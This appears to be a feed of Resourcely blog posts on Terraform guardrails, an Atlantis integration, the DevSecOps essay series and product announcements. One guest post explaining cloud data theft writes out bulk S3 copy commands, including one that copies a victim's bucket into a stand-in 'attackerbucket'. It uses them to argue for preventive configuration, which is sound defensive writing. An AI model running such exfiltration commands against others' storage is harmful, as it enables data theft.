DEV Community: Resourcely

Resourcely adds Atlantis Support

Ryan Cartwright — Sat, 03 Aug 2024 02:40:27 +0000

You can integrate Resourcely with Atlantis to automatically evaluate your Terraform plans on pull requests. The Resourcely guardrail evaluation will result in findings that help developers address the violations.

In order to set up Resourcely with Atlantis, you must perform the following steps:

Verifying Prerequisites
Change management
Setup Resourcely with Custom workflows

Verifying Prerequisites

Before adding Resourcely to existing workflows, please verify that your Atlantis server environment:

Has internet egress access to download the Resourcely CLI binary or container (e.g., through a NAT Gateway).
Is configured to allow custom workflows.
Is used with GitHub as a VCS.

Change Management

This setup assumes you have already completed the integration of Source Code Management (SCM). If you have not, please follow this guide to complete the SCM integration.

Setup Resourcely with Custom workflows

This requires an Atlantis server-side workflow written in Atlantis YAML. Create a new file called repos.yaml or update your existing YAML and add the following content:

repos:
  - id: /.*/
    workflow: resourcely_guardrails
    allow_custom_workflows: true
    policy_check: false
    pre_workflow_hooks:
      # Install resourcely cli, use location `/opt/resourcely-cli` to run the CLI
      - run: |
            LATEST_RELEASE_TAG=$(curl -s -I <https://github.com/Resourcely-Inc/resourcely-container-registry/releases/latest> | awk -F '/' '/^location/ {print  substr($NF, 1, length($NF)-1)}')
            curl -s -L -O <https://github.com/Resourcely-Inc/resourcely-container-registry/releases/download/$LATEST_RELEASE_TAG/resourcely-cli-${LATEST_RELEASE_TAG}-linux-amd64.tar.gz> > /dev/null && tar xvzf resourcely-cli-${LATEST_RELEASE_TAG}-linux-amd64.tar.gz && mv resourcely-cli /opt/resourcely-cli
workflows:
  resourcely_guardrails:
    plan:
      steps:
        - env:
            name: RESOURCELY_API_TOKEN
            value: '<RESOURCELY_API_TOKEN>' # get a token from https://portal.resourcely.io/settings/generate-api-token
        - init
        - plan
        - show 
        # Run Resourcely 
        - run: /opt/resourcely-cli --log debug --api_host https://api.resourcely.io evaluate --change_request_url $PULL_URL  --change_request_sha $HEAD_COMMIT --format plain --plan $SHOWFILE
        description: Running Resourcely Guardrails

The resourcely-cli command in your repos.yaml evaluates your Terraform plans by downloading policies from Resourcely, assessing them, and submitting the results to Resourcely. These findings will be displayed on the pull request associated with the Atlantis run.

Note that the server needs to run with --repo-config=repos.yaml

atlantis server \\
...
--repo-config=repos.yaml \\
...
...

Atlantis should now run the Resourcely CLI on every pull request whenever new code is created or updated.

Why we built Resourcely

Ryan Cartwright — Thu, 18 Jul 2024 01:30:11 +0000

Written by: Travis McPeak
Published Date: July 16, 2024

Three primary trends have influenced the software industry over the last 15 years: the rise of the cloud, a shift from waterfall to continuous development, and DevOps practices.

These trends have all shifted more responsibility to the developer: deployment, security, and configuration are now the responsibility of software engineers. Software teams who were once only responsible for designing and creating applications are now expected to be infrastructure and deployment experts as well. You can read more about the history of security and configuration here.

Developers owning infrastructure inevitably results in rampant misconfiguration: improper parameters for cloud infrastructure that are costing companies millions. When a database, virtual machine, or SaaS application is configured incorrectly, there are two results:

incidents, breaches, and outages
wasted developer time

We built Resourcely to eliminate misconfiguration, stemming the tide of needless incidents and tackling the hours of waste we observed throughout the industry.

Frankly, we were frustrated by the status quo of cloud infrastructure configuration, and we decided to do something about it. Our experiences at top-performing cloud-based companies like Netflix, Robinhood, and Databricks taught us how to solve this problem, and Resourcely is a product of those learnings.

It allows security, ops, and platform teams to give developers a paved road to production, generating secure and compliant Terraform that is deployed as part of your existing change management tooling. We didn’t stop at bespoke, customizable templates that give developers an easy button to deploy infrastructure. Resourcely also features a novel cloud resource policy language that acts as a safety net: making sure that any Terraform deployed meets the standards that you define.

With these tools, developers no longer loathe deploying infrastructure, and security teams look like superheroes by empowering secure defaults built into developers.

Status quo of configuration

Cloud resources are misconfigured across all software organizations every day. Developers who aren’t Terraform experts are asked to deploy heterogeneous services that they are unfamiliar with. These developers are faced with a trade-off: ship misconfigured infrastructure, or ship slowly. In many cases, businesses are pushing developers to ship faster at the expense of misconfiguration.

What does that developer experience look like? Developers are forced to research the individual cloud services they want to deploy, learn about configuration best practices for them, write Terraform that matches their mental model, and then push that Terraform in a PR. Often they are asked to use a specialized, internally-developed tool to accomplish this. While many individuals start offthinking that only a single resource will be required, they slowly realize that multiple cloud resources are always required (IAM, networking, storage, etc.). At every step along this path there is friction and opportunity for misconfiguration.

Security teams are only compounding the problem with long lists of vulnerabilities flagged by CSPMs and a reactive modus operandi. These vulns end up on a long list, handed to developers, who never get around to fixing them anyway.

So why does it matter?

These dynamics result in two primary issues costing companies millions of dollars each year:

Incidents

Improper configuration inevitably results in incidents, vulnerabilities, and breaches. Let’s consider two scenarios: a security vulnerability, and an internal application that goes down.

Security vulnerabilities can threaten the very lifeblood of a business. Consider the most simple of examples, where an S3 bucket is left accessible to public access. This is actually somewhat tricky to get right, as we’ve written about before.

Inadvertent exposure of data, or server access, or firewalls, or anything sensitive can result in public-facing breaches that cost upwards of millions of dollars. As of 2023, the average cost of a data breach in the US was around $9.5M.

Misconfiguration doesn’t only have to be about security and data breaches. Consider an internal application that is used to support customer service agents for an airline. Let’s say you have a database misconfiguration that results in queries to that database failing for several hours during peak travel season. This has directly impacted your customer satisfaction, retention, and future revenue prospects.

Developer productivity

In the same way that incidents have a quantifiable impact on your business, so does developer productivity - especially for businesses with software as a core product. Deploying and configuring infrastructure is a significant impediment to the speed at which developers move. To successfully do this they must:

Research cloud resources to use
Figure out the correct configuration, which is challenging to get completely right without being an expert
Write Terraform or use a Terraform module
If they use a module, they’re often fitting a square peg into a round hole
Push that Terraform to production

Frequently, the Terraform they’ve written is bounced back to them by a reviewer, which further compounds the developer productivity problem. Maintaining, updating, triaging, and changing their infrastructure can result in even more hours than they spent on the initial project.

Let’s say you have just 100 developers pushing infrastructure to production, with an average infrastructure deployment that make infrastructure changes 2/week. If your developers spend 4 additional hours each time they deploy researching Terraform and (trying) to get the configuration right, and they cost $275,000 fully loaded, you’re looking at $5.5M in annual cost and an incalculable amount of opportunity cost (from projects they could be working on instead).

👉 (100 developers) * (2 infra deployments/week) * (52 weeks) * (4 hours/deployments) * (275,000/year / 2,080 hours in a year) = $5.5M annually.

Secure defaults and the Resourcely answer

So you’ve got a problem costing you millions of dollars a year, and your cost almost triples each time you have an incident. We had these same issues at Netflix, Robinhood, Databricks, and other companies that our founding team worked at.

We solve this problem is by removing humans from the loop as much as possible. We implemented secure-by-default frameworks across the business, and gave developers a paved road to production that would allow them to get what they need without friction.

Asking humans to configure infrastructure, when we already know what best practices and company-specific requirements should be, is an outmoded practice rooted in years of on-premise and legacy security practices. Instead, we should be asking machines to make configuration decisions for humans. (Check out this episode of the a16z podcast where our CEO Travis discussed this concept)

Resourcely tackles misconfiguration at the source: turning security teams into proactive superheroes, and unleashing developers from DevSecOps hell of the past. How do we do it?

Guardrails

Guardrails govern how infrastructure can be created or changed, preventing inadvertent misconfiguration. These are policies, managed and written by security, ops, or platform teams, and enforced as part of your existing change management/GitOps workflows.

Imagine you write the following policy:

GUARDRAIL "Require prefix on all S3 buckets"
   WHEN aws_s3_bucket
       REQUIRE bucket STARTS WITH "resourcely-"
 OVERRIDE WITH APPROVAL @securityops

Resourcely will:

Let the developer know they are violating a guardrail if they don’t start an S3 bucket with resourcely-
Guide the user about how they should be configuring the resource
If the developer still chooses to continue, Resourcely will route the PR to the appropriate approver specified in the guardrail
The PR will always fail without approval, if the S3 bucket is not appropriately named Guardrails limit accidental public exposure, oversized infrastructure, inadvertent deletion, and more - all in an easy-to-read policy language remarkably similar to SQL.

Blueprints

Resourcely Blueprints are configurable templates, customized by security, ops, or platform teams, that give your developers a paved road to cloud infrastructure resources. They provide a UI with context, selection criteria, lists, and more.

Once published, blueprints are available in a service catalog that developers can use to bundle the infrastructure they want to deploy. Guardrails can be attached to blueprints, ensuring that your policies are enforced.

After submission, Terraform is generated and deployed through your existing change management and review processes.

Configuration platform
Over the next few weeks, we’ll be announcing the General Availability of Resourcely, covering how our customers are using it to build a secure-by-default platform for deploying infrastructure, and showing you how anyone can do the same.

The misconfiguration problem is widespread and hugely impactful. Adopt the premier configuration platform to eliminate misconfiguration, reducing millions in developer waste and bidding goodbye to incidents & breaches that average $9.5M of impact. Get started with Resourcely today, and follow along on our GA launch journey over the next few weeks!

Death of DevSecOps, Part 3

Ryan Cartwright — Fri, 05 Jul 2024 16:12:42 +0000

Written by Travis McPeak, Resourcely CEO.

In part 2 of this series, I explored the promises of DevSecOps and where they went wrong. To wrap up this series, we’ll propose how to solve the current problems in security and software development and highlight some early success cases using this approach.

DevSecOps has two primary problems: we asked developers to be the primary owners of security configuration at the expense of their primary responsibilities, and we haven’t provided automation tools that can take SecOps off their plate.

The result? Developers are burning down never-ending tickets, going through tedious threat modeling exercises across all of their applications, and undergoing hours of training for all vulnerability classes.

Secure-by-default

The solution is secure-by-default: an approach that shifts responsibility onto systems, not people. Secure defaults integrate security and configuration guidelines into tools that developers are using, leveraging new libraries that make security the default, all supported by a new security team. In short, systems ****should be responsible for security, not people.

Secure-by-default can help developers move faster and reduce incidents by automatically taking care of secure configuration without requiring developers to make complex, nuanced decisions - and stepping in to help them, when they make incorrect ones.

New technologies

The past ~10 years of DevSecOps have taught us some valuable lessons about developer behavior: they are not security experts, and they don’t like to leave their standard development and CI workflow.

To accomplish secure-by-default, any automated tooling needs to be embedded into existing developer workflows. This ranges from auto-suggesting security best practices within IDEs, to embedded context wherever configuration occurs, to using systems that make good security choices for you.

Some great examples of secure default libraries and systems are:

Netflix’s Lemur: makes it easy for a developer to get a TLS certificate for a microservice, without having to deal with cryptography, manage private keys securely, and remember to rotate certs before they expire
Google’s Safe Golang Libraries: protect against common issues such as YAML injection (see also Google’s Secure by Design)
See Clint Gibbler’s full list of secure by default libraries here

The second critical part of a secure-by-default platform is guardrails: policies and rules that proactively prevent misconfiguration, again embedded into the developer’s workflow. These are backstops that prevent developers from deploying vulnerable software, while allowing them to follow their existing workflow: developing locally, pushing to the cloud, using version control, and leveraging automated deployment tooling.

These embedded secure-by-default practices combine with guardrails that keep developers in track - resulting in a paved road to production. There should be paved roads across a variety of fields: infrastructure, application development, CI, and more.

The new security team

Automated tools that can take cognitive load off of developers are only possible with a savvy security team that is willing to truly embed security where developers are. This team should:

Shift from a reactive, issue-centric view of the world to a proactive, preventative strategy
Aggressively embed linters, context, and other in-IDE tech to help developers deploy securely at development time
Utilize secure by default libraries and frameworks that make classes of vulnerabilities impossible
Implement backstops and guardrails that preserve optionality by developers, while preventing incorrect configuration The foundational work of security should be done BY a security team, FOR a developer team - shifting the burden of security decision-making from developers onto systems, and making the last mile work for developers painless.

These new automation technologies will allow a security team to become extensible, scaling with a development team by embedding into their workflows without having to add additional security resources and burning out developers.

DevSecOps: Can it be saved?

Security teams have lagged their developer counterparts over the past 20 years, as cloud computing and dev practices have revolutionized the tech industry. While DevSecOps held great promise, it has resulted in the worst of both worlds: slow development, and frustrated security teams dealing with constant misconfiguration.

The next generation of security is secure-by-default. We have the tech, and we know what it takes to accomplish it - the only thing left is committed security teams helping embed secure-by-default into developer workflows.

Resourcely is working hard on this problem! To make your organization secure-by-default, get started with Resourcely and give your developer teams the security capabilities they need without leaving the tools they love.

Originally Published Resourcely Blog.

Gone in 120 seconds

Christopher Reuter — Tue, 02 Jul 2024 14:25:44 +0000

This article was originally published on the Resourcely blog, and is guest-written by Haoxi Tan.

There's been a significant increase in the number of SaaS and cloud based data breaches, from API abuse, data theft from exposed cloud assets, to straight up "login and exfil" using stolen credentials (such as in the case of the Snowflake hacking spree), with cloud based data breaches show no signs of slowing down.

Cloud providers like AWS, GCP, and Azure are called "Public Cloud" for a reason - anyone can sign up and use them, including attackers. It takes minutes for an attacker to open a new account and get access to virtually unlimited data storage and compute, often hosted in the same high-speed data centers as their victim's assets.

Cloud-to-cloud exfiltration

Let's take a classic example of bad actors stealing data: copying files from a publicly available AWS S3 bucket. If an attacker is downloading files from the S3 bucket to their local machine, the speed would depend on how fast their internet is, how many hops they are using for VPN, and so on. However, even with a very slow network speed and the default AWS API client, they can easily download up to 20 files a second to their local machine by running a simple command:‍

aws s3 cp s3://bucketname . --recursive

This command was run behind a VPN on a home network connection (with average 10MB/s of internet speed) for about 200 seconds. The default aws cli isn't very fast, and was only able to utilize a small part of the bandwidth and download at around 140 KB/s), and yet it was able to download around 4000 files from an open S3 bucket in 200 seconds.

Using an optimized tool called s3p, which massively parallelizes S3 API calls to perform the data exfiltration in the same network environment, achieved much better results: over 800 files per second at top speed:

s3p cp --bucket bucketname --to-folder

Even worse, if an attacker runs s3p on an EC2 instance in the same cloud region as their victim's data to copy the files into their own S3 bucket, the transfer would be processed entirely from inside the cloud provider's data centers, like so:

s3p cp --bucket bucketname --to-bucket attackerbucket

They can copy all the data to their own AWS account at massive speeds, then use other VPS (Virtual Private Server) instances in bulletproof hosting providers to exfiltrate that data outside of AWS where takedown is much more difficult.

Using s3p on a EC2 instance to optimize the number of API calls, cloud-to-cloud transfers could reach up to 8 gigabytes per second. That means for an exposed S3 bucket with 1TB of data, it could all end up in the attacker's AWS account in just over 2 minutes. By the time the incident is detected, the data would have already ended up for sale in a hacking forum.

APT: Advanced Persistent Teenagers

As companies move their assets to the cloud and migrate from on-premise applications to SaaS apps, attackers are constantly innovating. One particular Advanced Persistent Threat (APT) group called Scattered Spider (a.k.a. Octo Tempest) is a group of English-speaking teenagers particularly well versed in exploiting cloud-based applications and services.

The group had focused on SIM swapping attacks and ransomware in the past to gain access to large companies, but recently pivoted towards data theft attacks in cloud and SaaS systems for extortion purposes without deploying ransomware. Octo Tempest was named one of the most dangerous financial hacking groups by Microsoft, and it's gone cloud native.

Google's Mandiant said that after the reconnaissance phase, the group performs "exfiltration from SaaS applications through cloud synchronization utilities, such as Airbyte and Fivetran, to move data from cloud-hosted data sources to external attacker-owned cloud storage resources, such as S3 buckets''.

No response fast enough

With the speed of the cloud and attackers moving away from ransomware deployment to extortion via data theft, it's virtually impossible to respond fast enough to these incidents. Once an exposed, misconfigured cloud asset has been discovered by attackers, exfiltration can start in a matter of seconds.

Unlike ransomware, which moves across different systems with suspicious hands-on-keyboard activity that can be detected by Endpoint Detection and Response, data exfiltration activity in the cloud looks much like normal data access, and once the data is lost it cannot be recovered by incident response.

CloudTrail is the logging service for AWS, central to all other tooling that analyzes logs for security events. The CloudTrail FAQ page notes that an API call event is usually delivered from CloudTrail within 5 minutes (300 seconds) of the API call. Given that the top speed of data exfiltration above is 8GB/s, that gives an attacker the ability to exfiltrate around 2TB of data before the event log is even delivered to your security tooling - and by that point your data is long gone.

Secure configuration is the only prevention

Given there is not enough time to react to a misconfigured cloud asset being breached, proactively securing configuration is the only way to protect against the risk of potential cloud data breaches. To do that, security teams must shift from a reactive, issue-centric view of the world to a proactive, preventative strategy, powered by secure, sensible defaults for configuring cloud resources.

Resourcely enables your security, infrastructure and developer teams to create proactive, simple, continuously enforced guardrails to safeguard your cloud resources. Get started with Resourcely to make your organization secure-by-default. Massive shoutout to Jason Craig and Will Bengtson, who had the initial idea for this post.

Resourcely founder-led in person or virtual hands-on workshop

Ryan Cartwright — Tue, 25 Jun 2024 22:10:06 +0000

Join Resourcely for a free founder-led in person or virtual hands-on workshop.

Learn how easy it is to enable cloud infrastructure paved roads to prevent misconfigurations for your organization.

In this session, you’ll learn how to:

✅ Navigate Resourcely user interface, and connection options.

✅ Integrate your SSO provider

✅ Integrate your VCS provider

✅ Understand what Resourcely Blueprints and Guardrails are in our catalog out of the box

✅ Understand the importance of Global Contexts

✅ Understand configuration options for Blueprints

✅ Understand configuration options for Really, our policy as code language

✅ Understand how Resourcely can integrate into your existing cicd process

✅ Import your existing terraform modules to transform them into module backed blueprints

✅ Understand Resourcely usage metrics available

✅ Learn how to configure the resourcely.yaml to manage different environments

✅ Create new Blueprints and Guardrails using Foundry for your specific use cases

Elevate your infrastructure as code maturity today!

Request workshop

Death of DevSecOps, Part 2

Christopher Reuter — Wed, 05 Jun 2024 15:40:13 +0000

Written by Travis McPeak, Resourcely CEO

In part 1 of this series, I covered the history of security in the early days of the cloud revolution. Circa 2014, DevOps practices started to be adopted by security teams, resulting in the era of DevSecOps. We’ll cover this concept, the dreams of so many, and the reality that ensued.

Security is a laggard

One pattern that I have observed about security teams is they are slow to change. Security was not a forethought in the pre-Internet days, because it was never really a problem. These teams were only created after internet adoption started becoming more widespread, and they integrated into the waterfall processes of the early days - because that is how development teams worked with infrastructure teams.

After cloud infrastructure became available, DevOps as a practice started to spread like wildfire as we covered in part 1. Why did it take security teams 10 years to fully adopt agile practices and integrate security into DevOps?

Traditional security focused on building a strong perimeter for a static environment. While the rapid iteration and change of DevOps was a boon to development teams, it was naturally uncomfortable for security teams.
New tools and processes meant new attack vectors: something security teams are naturally wary of
Security teams were not incentivized to move quickly, given they were a standalone, siloed organization
They started first by trying to apply legacy processes such as waterfall-style review and approval, to an agile methodology - and this failed

From DevOps to DevSecOps: the dream

By ~2015, it had become apparent that security had lost their gate. As DevOps became the de facto standard, established security teams started losing political capital as they impacted development lifecycles by resisting change. As challenger companies saw success by shipping quickly and cheaply, it became obvious that established security waterfall style could not continue. VC money poured into challenger tech companies that applied the same concepts to security that they were applying to development: shifting decision-making and implementation onto the engineer.

DevSecOps appears to have been coined around 2014, usually attributed to Shannon Lietz of Intuit. The promise of DevSecOps was to further speed development lifecycles without sacrificing security, by embedding security choices into DevOps (hence DevSecOps). Security and software leaders thought they could:

Save money on security teams by turning them into guideline providers
Get security for free from developer teams, who would make practical choices to enforce guidelines
Proactively support developers with automation

However, the dream of DevSecOps ignores some realities that make it a failed practice.

DevSecOps: The reality of today

As DevSecOps was adopted throughout the late ‘10s and early ‘20s, it became clear that the benefits did not materialize as promised. Don’t get me wrong, there have been some improvements:

Some integration into change management: CI process that can enforce security reviews before deployment happens
Multi-environment support: Build pipelines can progress the same build through environments

This marginal progress isn’t enough. There are too many vulnerabilities, too many issues, and not enough time for the manual world of security that we’ve built for ourselves. It turns out that pushing security into DevOps processes sucks for all of those involved. Security teams are overwhelmed, spending all their time measuring faults and making lists of vulnerabilities. Devs are spending unnecessary cycles on security config, when they want to do actual development.

We’ve been left with the worst of both worlds with DevSecOps of today. Why is that?

Devs aren’t security or infra experts

One of the primary assumptions of DevSecOps was that developers would be able to make security and infrastructure-related decisions that were correct. Turns out that in practice, this is not the case. Why? Developers aren’t security or infrastructure experts, and they don’t have the time to become experts. Instead of addressing the fundamental problem, we try to up-skill our developers on security and force training hell onto everybody involved.

Consider a scenario where a developer wants to deploy using an Azure VM and write from that VM to blob storage, and a security team stipulates that it should only be deployed within a company’s VPC. Only an experienced Azure infrastructure expert would be able to configure this in a time-efficient way: this requires 5+ different resources, and if you’re using something like Terraform it requires even more expertise!

Automation has failed us

Another key expectation by early DevSecOps experts was that automation would make up for developer time. Platform teams started to emerge in the late ‘10s and early ‘20s, providing tools for developers to move faster. To date, security automation is primarily a reactive function: we still expect configuration decisions to be made by developers, and we serve them a list of issues to fix after the fact.

Worst of both worlds

DevSecOps has evolved into the worst of both worlds. With developers that aren’t experts in security or infrastructure, and a lack of automation, we now have:

Rampant misconfiguration
Frequent incidents and outages
Constant triage of issues
Reactive posture management, resulting in huge backlogs of security issues
Overwhelmed developers who don’t want to engage with security
A lack of clear ownership means when there’s a problem, it is unclear who needs to act

This means the Sec in DevSecOps hasn’t kept up its end of the bargain. We’ve only marginally improved (and that’s debatable), and we’re only incrementally more secure.

The answer? Secure-by-default

In part 3, we will cover the future: secure-by-default. New tools and technologies mean that we can take the burden of security and infrastructure configuration off developers’ plates, allowing software teams to ship quickly and companies to preserve security and reliability.

Introducing Really: A New Policy as Code DSL… that doesn't suck

Ryan Cartwright — Wed, 29 May 2024 03:48:00 +0000

Using Rego for cloud configuration is awful. Use Really: policy-as-code built for humans.

Announcing Really

When we started building Resourcely, the global configuration engine for cloud infrastructure, we slowly realized that the status quo of policy-as-code was broken. Writing our first Resourcely guardrails in Rego took hours to create and even more time to maintain. Writing new policies was extremely tedious and time-intensive, especially given the fact that we wanted to make them flexible. To help achieve our mission of making infrastructure more secure, it became evident that a new policy language would be needed that allowed policy to be written and maintained without headaches.

The Resourcely team has spent the last 6 months working on developing that new policy language, and today we are introducing Really: a policy language and enforcement engine that is built to be written and read by humans - not machines. With the introduction of Really, policy can be created in minutes compared to hours, with a human-readable syntax that looks remarkably like SQL. The readability of our structured policy language means that writing, deciphering, and adjusting policy isn’t a nightmare, and your policy team can take vacation without worrying about their pager going off.

Yet Another Config Language (YACL)

Why did we invest millions of dollars in time to build Yet Another Config Language (YACL)?

Read full blog here.

Taming misconfiguration chaos with Resourcely

Ryan Cartwright — Mon, 15 Apr 2024 01:40:57 +0000

Misconfiguration of cloud infrastructure is the root cause of slow developer velocity and prolific incidents causing millions of dollars in damage.

Resourcely is a cloud resource configuration platform, built to give developers a paved road for deploying quickly and securely. tl;dr Resourcely generates secure-by-default Terraform code for anything that can be managed with a terraform provider.

Join Resourcely's CEO, Travis McPeak, on April 16th as he walks through why misconfiguration exists, the impact it has on businesses around the world, and how Resourcely can help increase developer velocity and mitigate incident risk.

https://app.livestorm.co/resourcely/resourcely-webinar-taming-misconfiguration-chaos

Resourcely exists to make cloud resources more secure and make developers' lives easier. In a DevOps world, developers have too many responsibilities, including writing code, testing code, deploying their services, responding to outages, provisioning cloud services, and keeping their services secure. With so much on their plate, developers need tools that give them best practices in these areas without thinking about them.